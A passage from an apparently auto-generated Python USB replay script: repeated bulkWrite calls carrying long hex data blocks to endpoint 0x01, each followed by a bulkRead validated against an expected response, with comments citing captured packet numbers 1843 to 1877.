b\"\\x1F\\x6A\\x49\\x69\\xD5\\x30\\x86\\x99\\x50\\x6B\\xD0\\x0D\\x72\\x65\\x32\\x7C\"\n b\"\\x36\\x01\\xE4\\x8C\\xA6\\xBF\\x58\\x3E\\x67\\xF8\\x3C\\x67\\x97\\xD0\\x0E\\x24\"\n b\"\\x2F\\x5E\\x80\\x86\\xD5\\xF1\\x11\\xF6\\xA5\\xD4\\xAD\\x23\\xAF\\x7A\\x4C\\x83\"\n b\"\\x92\\xF6\\x48\\x1B\\x33\\x1C\\xF1\\xC7\\x4A\\x2B\\xF9\\x5F\\x22\\x87\\x0E\\xEF\"\n b\"\\x08\\x1C\\x19\\x60\\x6E\\xBB\\x2A\\xF3\\x66\\x89\\x8B\\x3C\\xA6\\x57\\xC5\\xEA\"\n b\"\\x18\\x19\\x01\\x96\\x4E\\x91\\x5A\\xF0\\x29\\x00\\x14\\x5A\\xDA\\xCF\\x69\\x22\"\n b\"\\x61\\xEE\\x4E\\xAA\\x9C\\xB9\\x7B\\xEC\\x3F\\x09\\x31\\x60\\x0A\\xD1\\xD8\\x3F\"\n b\"\\xBD\\xB5\\x8F\\x3F\\x52\\x5D\\x3C\\xDE\\x56\\x86\\x13\\x54\\x68\\xE9\\x45\\xCF\"\n b\"\\x4F\\x13\\xCD\\x08\\xE8\\x7D\\xC7\\x82\\xC9\\x94\\x73\\x00\\xFD\\xBA\\x59\\xB0\"\n b\"\\x83\\x79\\x9C\\xA7\\x11\\x30\\xD8\\xC2\\x70\\xC1\\x5B\\xE3\\xF6\\xE0\\xC3\\xAE\"\n b\"\\x7F\\x45\\x55\\x38\\x14\\x83\\x10\\x84\\x7D\\xC5\\x89\\xF8\\x62\\xAA\\xB2\\x76\"\n b\"\\x08\\xEA\\x09\\xCA\\xDD\\x95\\xD0\\xF4\\x5C\\x35\\x4B\\x0B\\xA7\\x31\\x54\\x68\"\n b\"\\xC7\\x24\\x3F\\x52\\xC5\\xEF\\x41\\xA1\\x32\\x99\\xFE\\xF6\\x75\\x32\\xF9\\x15\"\n b\"\\xBA\\x1A\\x45\\x29\\xEB\\x83\\xD3\\xB8\\x1B\\x4B\\x20\\xC3\\xAA\\xC9\\x90\\xB2\"\n b\"\\xF5\\xBD\\x02\\x4B\\x43\\xB3\\x25\\xF1\\x2E\\x00\\x87\\x5B\")\n # Generated from packet 1843/1844\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1843/1844\")\n # Generated from packet 1845/1846\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\x29\\x6A\\xD8\\xFE\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x67\\x49\\x18\\x3C\\x07\\xB6\\xDB\\x18\"\n b\"\\x72\\x00\\xAC\\xBC\\xE6\\xD8\\xAC\\x0A\\xDE\\xBF\\x7E\\x93\\xC4\\x78\\xBD\\x28\"\n b\"\\x14\\x58\\x82\\xF1\\xC9\\x8D\\x73\\x7D\\xCA\\x2F\\x18\\xBE\\x2C\\xD9\\x82\\x9C\"\n b\"\\xE0\\xA5\\x50\\xA3\\xF1\\xFE\\xF6\\x7A\\x1E\\xCD\\xDF\\xF1\\x49\\x4A\\xFA\\x87\"\n b\"\\x68\\xE9\\x32\\xB6\\xB5\\x37\\x13\\x4E\\xB9\\xCC\\x1F\\x2B\\xAB\\x53\\x7D\\x0B\"\n b\"\\x56\\x9C\\x32\\x8C\\x78\\xBD\\x25\\x79\\x57\\x5C\\xDD\\x55\\x39\\x84\\x42\\xA8\"\n b\"\\x65\\xE3\\x26\\x78\\x2B\\x2D\\x33\\x5E\\x82\\x5A\\x13\\x39\\xFF\\x1B\\xDA\\x24\"\n b\"\\x95\\x24\\x32\\xEF\\x2C\\x10\\xA8\\x14\\xB0\\xF7\\x16\\xE1\\x8A\\x19\\x07\\x9B\"\n b\"\\x78\\x0D\\x3E\\xE5\\xC4\\x30\\x3D\\x4D\\x2F\\x8C\\x02\\x74\\xC4\\x9D\\xCC\\x04\"\n b\"\\xE0\\x43\\x00\\x9B\\xC7\\x14\\x7B\\x56\\x87\\xE6\\xC3\\x97\\x24\\x3A\\x5B\\x82\"\n b\"\\xEB\\xFA\\xF3\\x77\\x2C\\x2F\\x9E\\x58\\x00\\xEB\\x85\\x07\\x8B\\x42\\xA6\\x5D\"\n b\"\\x1F\\x20\\xCF\\x6A\\x76\\x72\\x14\\x1E\\x72\\x2C\\xCC\\xD8\\xE1\\x38\\xE7\\x49\"\n b\"\\x67\\xAC\\x0D\\x4E\\x7B\\xFC\\x12\\xD0\\x4E\\xBD\\x61\\x99\\xB5\\xE1\\xDD\\xDB\"\n b\"\\x3B\\x73\\x7C\\x35\\xCD\\x14\\x09\\xD4\\x66\\x0F\\xC7\\x43\\xCF\\xC9\\x95\\x3D\"\n b\"\\x5D\\x33\\x47\\x8E\\xEB\\xCF\\xCE\\x9E\\xAF\\xC5\\x31\\xAA\\x39\\xB5\\x40\\x64\"\n b\"\\x91\\x00\\x98\\x24\\x99\\x31\\x2D\\x65\\x6A\\x7F\\xAA\\xB3\\x21\\xCC\\x6F\\xA0\"\n b\"\\xC8\\xF0\\x6A\\x3C\\x27\\xF8\\x24\\x84\\x55\\xC2\\x07\\x1F\")\n # Generated from packet 1847/1848\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1847/1848\")\n # Generated from packet 1849/1850\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\x66\\x76\\x0D\\xBE\\x37\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x86\\x2B\\x67\\x11\\xD9\\x7F\\xB2\"\n b\"\\xA8\\x06\\xFC\\xCC\\xF4\\xC5\\xC4\\xBA\\x88\\xBE\\xE5\\x9C\\x18\\x59\\x81\\xEB\"\n b\"\\x32\\x03\\x2D\\xFB\\xF5\\xE8\\x3E\\xC6\\xEF\\x32\\xB1\\x78\\xCA\\xA6\\x4D\\x6C\"\n b\"\\xD7\\x2E\\xF7\\xFD\\x85\\xEF\\xA7\\xF2\\x49\\x6B\\x1B\\x16\\xAC\\x70\\xCE\\x83\"\n b\"\\xDD\\xEC\\x8B\\x8A\\x92\\x17\\x16\\x16\\x16\\x15\\x22\\xCD\\x8F\\x40\\x16\\x4F\"\n b\"\\x12\\xFF\\x04\\x88\\x86\\x90\\x23\\xB7\\x67\\x4E\\x76\\x86\\x1C\\x76\\x1B\\x6C\"\n b\"\\xFA\\x13\\xC8\\xC7\\x86\\x82\\x4E\\xE9\\xFC\\x3E\\x33\\xE1\\x23\\x50\\x5A\\x20\"\n b\"\\x72\\x91\\x8D\\xFC\\xF7\\x20\\x41\\xE9\\xC5\\xD3\\x8E\\xEE\\x49\\xE6\\x2D\\xBD\"\n b\"\\xFF\\xDD\\x22\\x93\\xF7\\xA4\\xEB\\x59\\xCD\\x87\\xDC\\x5E\\x5C\\xCC\\x81\\x00\"\n b\"\\x46\\x66\\xC0\\xD3\\xC3\\x7E\\xFC\\x2B\\xF3\\x74\\x49\\x6B\\x5C\\xDF\\x7E\\x28\"\n b\"\\x3D\\x65\\x44\\x4B\\xAF\\x24\\xD7\\xF5\\x0B\\x43\\x00\\xB8\\x6C\\xEA\\x9E\\x73\"\n b\"\\x4A\\x6B\\x2A\\x97\\xE9\\x4E\\x99\\xBE\\x63\\x79\\x8F\\x6B\\xD3\\xCD\\x47\\xAB\"\n b\"\\x17\\x83\\xA3\\x45\\x69\\x6E\\xA4\\x35\\x80\\x25\\x60\\x0F\\x32\\xFD\\xE8\\x12\"\n b\"\\x1F\\x2C\\x77\\xAC\\xDB\\x2F\\xD2\\xD7\\xE4\\xD4\\x9E\\x5A\\x46\\xDB\\xA6\\xD5\"\n b\"\\x7B\\xEF\\xF1\\x80\\x93\\xDD\\xBB\\xD4\\xB2\\x92\\x96\\xE5\\xDD\\xD6\\x53\\x5B\"\n b\"\\x9B\\xAC\\x63\\xE2\\xFC\\x4B\\xC1\\xBD\\xF1\\xFB\\xE4\\x02\\x38\\x4A\\xD9\\x5C\"\n b\"\\x65\\x33\\x16\\xCA\\xB6\\x7E\\x64\\x22\\xC8\\xCF\\x02\\x35\")\n # Generated from packet 1851/1852\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1851/1852\")\n # Generated from packet 1853/1854\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4A\\x36\\x60\\x93\\xF2\\x71\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6E\\xE5\\xBA\\x6E\\xE4\\xAE\\xAA\\x2B\"\n b\"\\x50\\xFB\\x29\\x27\\x76\\x82\\x96\\xF1\\x0E\\x8E\\x37\\x50\\x7A\\xD6\\x25\\x59\"\n b\"\\x53\\x0A\\xF8\\x0A\\xB6\\xFE\\xE7\\xEA\\x0B\\xD7\\xE9\\xE8\\xF8\\xA5\\x1B\\x4E\"\n b\"\\xCA\\x66\\x32\\xE8\\xAB\\xA4\\x97\\xD6\\x2C\\x54\\x1C\\x87\\x7B\\x42\\x4A\\x09\"\n b\"\\x75\\xE4\\x77\\xAA\\x3E\\xF6\\x83\\xC2\\x4C\\x3D\\x30\\x02\\xB4\\x71\\xEF\\x31\"\n b\"\\x23\\xDE\\xE1\\xEF\\x86\\xCC\\x2E\\xAA\\xFE\\xAC\\x92\\xC3\\xC0\\x2F\\x8D\\x12\"\n b\"\\xA9\\x3A\\x73\\x94\\x5D\\x1E\\xE8\\xEE\\xAC\\x0B\\x39\\x62\\xFB\\xDA\\x1F\\x93\"\n b\"\\x83\\x55\\xE3\\x6C\\xDB\\x36\\x87\\x7B\\x74\\xD7\\x13\\xDD\\x1F\\x8D\\x0F\\x9C\"\n b\"\\xF4\\x54\\xA4\\x55\\xE5\\x34\\xDC\\xBD\\x1E\\xA6\\x0C\\x1F\\x80\\x88\\x61\\x8F\"\n b\"\\x15\\x29\\x93\\xCC\\x4E\\x98\\x4C\\x4E\\x8A\\x13\\x59\\x2D\\x45\\xA0\\xA3\\x85\"\n b\"\\x7D\\x68\\xE8\\xED\\xFE\\x8B\\x6E\\xA5\\xA3\\x21\\x82\\x50\\xC1\\x2D\\xEF\\x07\"\n b\"\\x02\\x0D\\x91\\xA4\\xD3\\x6D\\x22\\x18\\x64\\x2C\\x38\\xD4\\xEF\\x4E\\x07\\x41\"\n b\"\\x51\\x4A\\xEB\\xA8\\x4C\\x08\\x66\\xAE\\x21\\x74\\x61\\x95\\x6D\\x72\\x79\\x17\"\n b\"\\x1F\\x3D\\x8C\\x3A\\x87\\x8C\\x66\\x49\\x95\\xF0\\x67\\x5B\\xAA\\xE9\\xD9\\x06\"\n b\"\\x48\\x77\\xD9\\x3F\\x1F\\xF6\\x2E\\x4E\\xCD\\xB3\\xFC\\x43\\x2B\\xA9\\x62\\xB6\"\n b\"\\x9D\\xFE\\xDE\\x69\\x2C\\x03\\x0C\\xD8\\xFB\\x06\\x1A\\x1E\\xF2\\x7B\\xEE\\x36\"\n b\"\\x99\\xFE\\x21\\xBC\\x01\\xFA\\x94\\x2E\\x5E\\xCD\\x5E\\x5D\")\n # Generated from packet 1855/1856\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1855/1856\")\n # Generated from packet 1857/1858\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4E\\x23\\x62\\xA1\\xEB\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCB\\x67\\xD3\\x40\\x20\\x08\\xEF\\x03\"\n b\"\\xF4\\xF5\\x9D\\xF0\\x52\\xD6\\xDC\\x93\\xF1\\x6B\\xA1\\x17\\xDC\\x7C\\xCA\\x6B\"\n b\"\\x46\\x45\\x76\\xE8\\xD4\\x03\\x92\\x01\\x0F\\x4E\\x43\\xEC\\x1C\\x30\\xE0\\x8E\"\n b\"\\x2B\\x24\\x8A\\x3C\\xCC\\x6C\\x07\\x6C\\x30\\x0C\\x4D\\x60\\x74\\x90\\x52\\xA9\"\n b\"\\xDA\\xE4\\x86\\xE8\\xE6\\x12\\xBE\\x9C\\x6E\\x8B\\xAC\\xE2\\xB4\\x92\\x46\\x49\"\n b\"\\xF4\\xB6\\x77\\xE3\\x92\\x73\\xEB\\x4B\\xF4\\xEF\\xC7\\x79\\xE4\\x68\\xC7\\x97\"\n b\"\\xCE\\xF7\\x21\\xEB\\xF9\\xEA\\x4F\\x90\\x66\\x60\\x3F\\xD0\\xBF\\xC7\\x51\\x70\"\n b\"\\x31\\x65\\x4E\\xF8\\xE5\\xFD\\xA0\\x1C\\x07\\xE1\\x08\\x96\\xAA\\x3C\\xC9\\x9E\"\n b\"\\x8B\\xC0\\xDE\\x7C\\x3F\\x19\\x19\\x40\\xDA\\x0F\\xD4\\x7F\\x12\\x2F\\x83\\xAB\"\n b\"\\xCC\\xBD\\xAA\\xCB\\xE3\\x52\\xAE\\x4C\\xB1\\xBC\\x3B\\x05\\x67\\x1C\\xBC\\x92\"\n b\"\\xC2\\x27\\x0B\\x77\\xF9\\xD5\\x24\\x93\\xCF\\xE8\\xD2\\xC9\\x39\\x47\\x74\\x89\"\n b\"\\x7A\\xFD\\xBA\\x04\\xA0\\xA4\\x97\\x6F\\xB1\\x0B\\x0F\\x35\\xD3\\x95\\xBE\\xB0\"\n b\"\\xE4\\xBE\\xA0\\x73\\xB0\\x03\\xBC\\x43\\x21\\x11\\xE4\\xCD\\x03\\xFB\\x55\\xE0\"\n b\"\\x7A\\x51\\x8F\\x73\\xFC\\xF3\\xC1\\x53\\xC8\\xBA\\x23\\x4A\\x23\\xA8\\x93\\x71\"\n b\"\\xBF\\xD2\\x6E\\x82\\x16\\x9A\\xB8\\xAA\\x69\\xA9\\xFA\\x05\\xBE\\xF0\\x09\\xDA\"\n b\"\\xCE\\xD6\\xCC\\xF5\\x33\\x18\\xA3\\x00\\x66\\xCB\\x77\\xB3\\x50\\x3A\\xFB\\xE5\"\n b\"\\x7B\\xCC\\x0C\\x0F\\x32\\x92\\xE1\\x4C\\x56\\x9C\\x67\\xEC\")\n # Generated from packet 1859/1860\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1859/1860\")\n # Generated from packet 1861/1862\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x06\\x88\\x57\\x74\\x71\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEC\\xA8\\xF6\\x06\\x12\\x6D\\x0F\\x9C\"\n b\"\\x8B\\x69\\x01\\x2D\\x0B\\x6F\\xEF\\x86\\x6D\\x2A\\x82\\x2E\\x57\\xAE\\xB7\\x95\"\n b\"\\x92\\x9C\\x8B\\x8D\\xEE\\xF9\\x53\\x52\\xBC\\x06\\x8F\\x3A\\xBF\\xB5\\x93\\xB2\"\n b\"\\x0C\\x1F\\xD7\\x55\\xD6\\xCB\\x6D\\x78\\x8D\\xCD\\xDD\\xE5\\x2E\\xD9\\x04\\x83\"\n b\"\\x3E\\x0E\\x52\\x11\\x4F\\x94\\x25\\x11\\x4D\\xC7\\x41\\x69\\x92\\x25\\xC9\\xDC\"\n b\"\\x36\\xB7\\x89\\xA4\\x1F\\xFC\\x60\\x9B\\x37\\x41\\x89\\xE1\\x53\\xF7\\x57\\x08\"\n b\"\\x9F\\xF5\\x3B\\x5F\\xDA\\xA9\\xEA\\xAA\\xE0\\x37\\x49\\x3B\\xA2\\xFC\\x2A\\xEF\"\n b\"\\xAA\\x6F\\x34\\x6B\\xAC\\x5F\\x90\\xFD\\x90\\x13\\x60\\x40\\x4B\\x18\\xA9\\x35\"\n b\"\\x4E\\xC0\\x46\\x6D\\x00\\x4A\\x39\\x5E\\xE8\\xB9\\x38\\x2C\\x64\\x8E\\x41\\x66\"\n b\"\\xF1\\x12\\x6A\\xC8\\xD4\\xD4\\x9D\\xFA\\x9D\\xA6\\xCC\\x35\\x4A\\xBC\\x5B\\x89\"\n b\"\\x83\\x9D\\x61\\x99\\x80\\x53\\x8F\\x8B\\x5F\\xC0\\x1E\\x88\\x2C\\x9A\\x51\\x28\"\n b\"\\x66\\x85\\x73\\x09\\xB2\\x71\\xB9\\x34\\xD0\\xB0\\x48\\x2F\\x81\\x2E\\x7A\\x48\"\n b\"\\xC6\\x5B\\x64\\xAC\\xF6\\xE8\\x4F\\xFB\\xFA\\x64\\x43\\x09\\x09\\x53\\x3C\\xC3\"\n b\"\\x66\\xB7\\x61\\x73\\x7A\\x35\\x5F\\x12\\x9B\\x44\\xF5\\x4A\\x82\\xBB\\xAC\\xE5\"\n b\"\\xED\\xA7\\x66\\xDB\\xD9\\x80\\xFD\\x0D\\xF7\\x5A\\xA6\\xD5\\x86\\x86\\xE3\\x21\"\n b\"\\xE5\\xBC\\xC3\\xE4\\xD6\\x8B\\x0C\\x41\\x36\\x29\\x25\\xF3\\x25\\xDD\\x17\\x4A\"\n b\"\\x46\\x5A\\xA1\\x03\\x9A\\x71\\xA8\\xFE\\x55\\xF7\\xD5\\x18\")\n # Generated from packet 1863/1864\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1863/1864\")\n # Generated from packet 1865/1866\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\xCC\\x5F\\x08\\xFF\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xCB\\xAC\\xA8\\x5B\\x62\\x2D\\xAF\"\n b\"\\x0D\\x51\\xA3\\xA5\\xEC\\x2F\\x77\\xEB\\xBC\\x97\\xA0\\xE0\\xEF\\xA7\\x34\\x21\"\n b\"\\xA3\\x99\\x1A\\x6F\\x8F\\xE0\\xB7\\x42\\x41\\xB0\\x2D\\xDF\\x02\\x34\\xCA\\xF3\"\n b\"\\xEF\\xF1\\xE1\\xAD\\x39\\x86\\x94\\xEF\\x63\\xB3\\xE9\\x37\\x54\\xB1\\x6C\\xD7\"\n b\"\\x0A\\xD8\\x66\\x08\\x48\\x36\\x85\\x18\\x60\\x2B\\xD1\\x39\\x5D\\x83\\xF7\\x7F\"\n b\"\\xF5\\xE0\\xD8\\xEE\\xC1\\x57\\x5E\\x09\\x61\\x9D\\xBC\\x4F\\x8F\\x41\\x23\\x42\"\n b\"\\x7C\\xDF\\x23\\x97\\xC8\\x60\\x3A\\xDB\\x1A\\xB3\\xD1\\x77\\x5F\\xFF\\x5A\\x8E\"\n b\"\\x01\\xD3\\x6E\\x6D\\xD5\\x8C\\x18\\x6E\\x38\\x23\\x2B\\x56\\xB8\\x61\\xF6\\x35\"\n b\"\\xEF\\xAA\\x39\\x72\\x68\\x77\\xF3\\x1B\\x27\\x4B\\xA9\\xEC\\x87\\xCF\\x8D\\x5A\"\n b\"\\x90\\xC7\\xCE\\x75\\x47\\x79\\xD6\\xCA\\x88\\x5B\\x55\\x26\\x99\\xC5\\x02\\x0B\"\n b\"\\xA1\\xF0\\x78\\xB2\\x85\\x87\\xA0\\x87\\x59\\xCE\\x6E\\x5F\\xB2\\x49\\x4D\\x4E\"\n b\"\\x2B\\xAA\\xA8\\x9E\\xB4\\x47\\xDC\\x9B\\x88\\x99\\x79\\xA1\\x48\\x5C\\xAA\\x09\"\n b\"\\x70\\x04\\xC0\\xF8\\x02\\x7A\\x92\\x09\\x76\\xFC\\xD2\\xAC\\x0F\\xC4\\x36\\x90\"\n b\"\\xEB\\xA5\\x65\\x62\\x4E\\x8F\\xEE\\x5C\\x61\\x3C\\x99\\x88\\x84\\xBB\\x24\\xA9\"\n b\"\\xE1\\xF3\\x3D\\x25\\xFC\\x17\\x08\\x2E\\xE4\\x28\\xC8\\x72\\xB2\\x3F\\xE6\\x5D\"\n b\"\\x66\\x0F\\x5F\\xBA\\x8D\\x1C\\x7D\\x0E\\x50\\x5E\\x35\\xED\\x9B\\xFD\\x13\\x8E\"\n b\"\\x25\\xCE\\xBC\\x7F\\x97\\x18\\x06\\x73\\xF9\\xF1\\x67\\xC1\")\n # Generated from packet 1867/1868\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1867/1868\")\n # Generated from packet 1869/1870\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB2\\x11\\xB8\\xCA\\xA0\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\x9C\\x67\\xFF\\x65\\xC6\\x94\\x15\"\n b\"\\x05\\x00\\xA4\\x5C\\x19\\xB7\\x34\\x3C\\xB7\\x75\\xA7\\xBA\\x7C\\xF5\\xBB\\xD2\"\n b\"\\x09\\x07\\xFF\\xD3\\x57\\xA0\\xFE\\x95\\xDD\\x20\\x1D\\x2E\\xB0\\x1D\\xD4\\x3B\"\n b\"\\xCA\\xA1\\xEE\\x75\\xF5\\x1F\\x29\\x30\\xD7\\x1A\\x89\\x60\\x5B\\x8B\\x9B\\x87\"\n b\"\\x22\\xD0\\x18\\x03\\xD3\\x30\\x04\\x26\\x16\\x61\\xEF\\x95\\xCA\\x4D\\x01\\x3E\"\n b\"\\xD6\\xC8\\x54\\xA7\\x3C\\xB8\\x0D\\x2A\\xC1\\xD5\\xEA\\x6E\\xED\\xF1\\x2E\\xF4\"\n b\"\\xAE\\x24\\x24\\x62\\xE8\\xB8\\xB0\\x32\\x62\\x7C\\xB0\\x5F\\x49\\x78\\x22\\x18\"\n b\"\\xDF\\x8E\\x22\\xC8\\x24\\x8D\\xA7\\xB0\\xF8\\x09\\xDA\\xE6\\x4C\\xB5\\xE5\\x6B\"\n b\"\\xE1\\x38\\x60\\xBD\\xF2\\x84\\x9D\\x9F\\x29\\xE8\\x0A\\x09\\x69\\x5F\\x49\\x9E\"\n b\"\\x72\\xF5\\x9C\\x0B\\x38\\xFC\\x46\\xD2\\xAF\\x10\\x0C\\x4D\\xD0\\x7A\\xAF\\x7E\"\n b\"\\x68\\x9D\\x2F\\xAA\\x4F\\xA7\\x6E\\x6B\\x29\\xE7\\x34\\x62\\x49\\xD9\\x76\\xF9\"\n b\"\\x20\\x8B\\x57\\x36\\x00\\x02\\x0E\\x70\\x6E\\x12\\xE9\\x67\\xAD\\x73\\x6F\\x69\"\n b\"\\x55\\xE1\\x5E\\x2F\\xD9\\x1E\\xDB\\xB8\\x53\\x51\\xEA\\x93\\x15\\xCB\\xCC\\x8F\"\n b\"\\x24\\xE7\\x48\\x08\\xEF\\xEA\\x4A\\x00\\xB8\\x68\\x14\\xBB\\x9E\\x83\\xA0\\x57\"\n b\"\\x0C\\x84\\x3A\\xEB\\x5B\\x79\\xD2\\x4C\\xFE\\x30\\x96\\x8E\\xE7\\x58\\x39\\xFC\"\n b\"\\xEE\\x15\\x98\\x1E\\x7E\\x41\\x72\\x29\\x4B\\x65\\x44\\x0B\\x8F\\xA7\\x52\\x33\"\n b\"\\xD8\\xA8\\xBB\\x3C\\x8D\\x44\\x27\\x31\\x64\\x24\\x91\\x73\")\n # Generated from packet 1871/1872\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1871/1872\")\n # Generated from packet 1873/1874\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCF\\x94\\xFF\\x3C\\xD0\\x49\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8B\\x16\\x92\\x82\\xF5\\xB6\\xEF\\xFF\"\n b\"\\x03\\x5B\\xDB\\x4C\\x52\\x0C\\x26\\x4F\\x51\\xEC\\x5F\\xFE\\xFD\\xC4\\x7D\\xD7\"\n b\"\\xB1\\x26\\x80\\xCF\\x54\\x67\\x84\\x29\\xB3\\x38\\xC3\\x9C\\x0F\\xB5\\x87\\x2B\"\n b\"\\xDA\\x41\\x78\\x74\\x37\\x4F\\x55\\x92\\x5A\\xC4\\x08\\x16\\xF6\\x84\\xCD\\x1B\"\n b\"\\xD7\\x47\\xAA\\x0A\\x11\\x5D\\x25\\xDC\\xDF\\x2E\\x4E\\x4E\\xFE\\x7B\\x9C\\xDE\"\n b\"\\xEC\\x1B\\x9A\\x8B\\x82\\xE6\\x95\\x36\\x24\\x78\\x90\\x30\\xAE\\xE8\\x2B\\x9E\"\n b\"\\xC6\\x56\\x1E\\x78\\x62\\x8F\\xBF\\x03\\x07\\x99\\x9C\\x38\\xF1\\x38\\x51\\x46\"\n b\"\\x50\\x1E\\x5D\\xF9\\x26\\xFF\\xA4\\x48\\x23\\x66\\x1B\\xB8\\x69\\x14\\x11\\xFA\"\n b\"\\x8D\\xFF\\x62\\xD8\\xD3\\x90\\x31\\x6F\\x26\\x84\\xD4\\x15\\x73\\x28\\xEB\\x63\"\n b\"\\xB9\\x42\\x12\\x13\\x24\\x44\\xEA\\x5F\\x36\\xF1\\xA4\\x28\\x95\\xF6\\xC3\\x60\"\n b\"\\x26\\xCE\\x12\\xB4\\xC8\\xB2\\x65\\x61\\x97\\x1B\\x67\\x1C\\xE4\\x43\\x6E\\xEA\"\n b\"\\xFC\\x5C\\x16\\xE4\\x9A\\xDD\\x0A\\x46\\x77\\x9A\\x60\\x4C\\x3C\\xDF\\x48\\xAE\"\n b\"\\x97\\x73\\x6B\\xEB\\xDE\\x5C\\xB8\\xF8\\x37\\x14\\x75\\x6B\\x91\\x08\\xE9\\x12\"\n b\"\\xFD\\x7D\\x40\\x96\\xFB\\xC1\\x8C\\xAE\\xDE\\xCF\\x4B\\x19\\x64\\x12\\x80\\xB6\"\n b\"\\xDD\\x39\\x7F\\x35\\x17\\xE1\\x43\\x46\\x6B\\xBC\\xAA\\x8C\\xDA\\x0E\\x19\\xF4\"\n b\"\\xA6\\xA0\\x13\\xCD\\x78\\xA9\\x10\\xAD\\x80\\x04\\x5C\\x43\\x14\\x33\\xE4\\x69\"\n b\"\\xE5\\x8F\\xC9\\x9A\\x7F\\x4F\\xB1\\x66\\xF8\\x76\\x4C\\xF4\")\n # Generated from packet 1875/1876\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1875/1876\")\n # Generated from packet 1877/1878\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x79\\xBF\\x8F\\xFC\\x3B\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8B\\xEA\\xED\\xE2\\xE3\\x54\\xE6\\x28\"\n b\"\\xBC\\xAE\\xB3\\x0C\\x54\\x25\\xAB\\x76\\xC7\\xD2\\x32\\x8E\\x05\\x12\\x30\\x8F\"\n b\"\\xEF\\xDD\\x6D\\x75\\x2E\\x67\\x6A\\xC2\\xD8\\xDF\\x92\\xF5\\x2F\\x71\\x90\\x7C\"\n b\"\\x90\\x0A\\xA6\\x5A\\x4F\\x21\\x05\\x75\\x97\\x4A\\x45\\xDE\\x8D\\x9D\\x77\\x55\"\n b\"\\x01\\x44\\xA9\\x5C\\x41\\x5E\\x0D\\x65\\x40\\x3D\\xF3\\x92\\x64\\xD4\\x7A\\x9D\"\n b\"\\x21\\x15\\x28\\x76\\x2C\\x35\\xB2\\x06\\x05\\x1F\\x52\\x68\\x12\\x61\\xEF\\x09\"\n b\"\\xD6\\x25\\x2A\\xF5\\xAB\\xFE\\x31\\x20\\x34\\x77\\x6E\\x66\\xBF\\x0C\\x60\\x5E\"\n b\"\\x43\\x29\\x37\\x1B\\x95\\xAB\\x1B\\x2E\\x92\\x74\\xD7\\x20\\x15\\x77\\x12\\x21\"\n b\"\\x68\\x58\\x13\\xFE\\x3F\\xA2\\xF9\\xC1\\x5A\\x4C\\x38\\x16\\x75\\xE6\\x2A\\x71\"\n b\"\\x7F\\x7F\\x45\\xEA\\x2A\\xD6\\xE7\\x7B\\xBD\\x8A\\x6B\\xB0\\xD9\\xB7\\x7D\\x28\"\n b\"\\xBC\\x22\\xBB\\xFC\\x24\\x1D\\xD2\\xD5\\x0C\\x03\\xF0\\x0E\\xA2\\x86\\xED\\x65\"\n b\"\\xD8\\x82\\x6B\\x62\\x02\\x5F\\xE0\\x3E\\x63\\xFF\\x2C\\xCE\\x39\\x09\\x1E\\x07\"\n b\"\\x05\\xC2\\xA4\\xAB\\xF5\\x41\\x7E\\x49\\xE4\\xEC\\x85\\x31\\xBD\\x47\\xC9\\x90\"\n b\"\\xF1\\xBC\\x41\\xF2\\x04\\xAA\\xE9\\xA6\\x67\\x9E\\xF5\\x50\\x10\\xE9\\x7B\\x4A\"\n b\"\\x8B\\x65\\xB3\\xFC\\xC2\\x68\\x31\\xE1\\x66\\x62\\x9A\\x9A\\xF1\\xB1\\x77\\x54\"\n 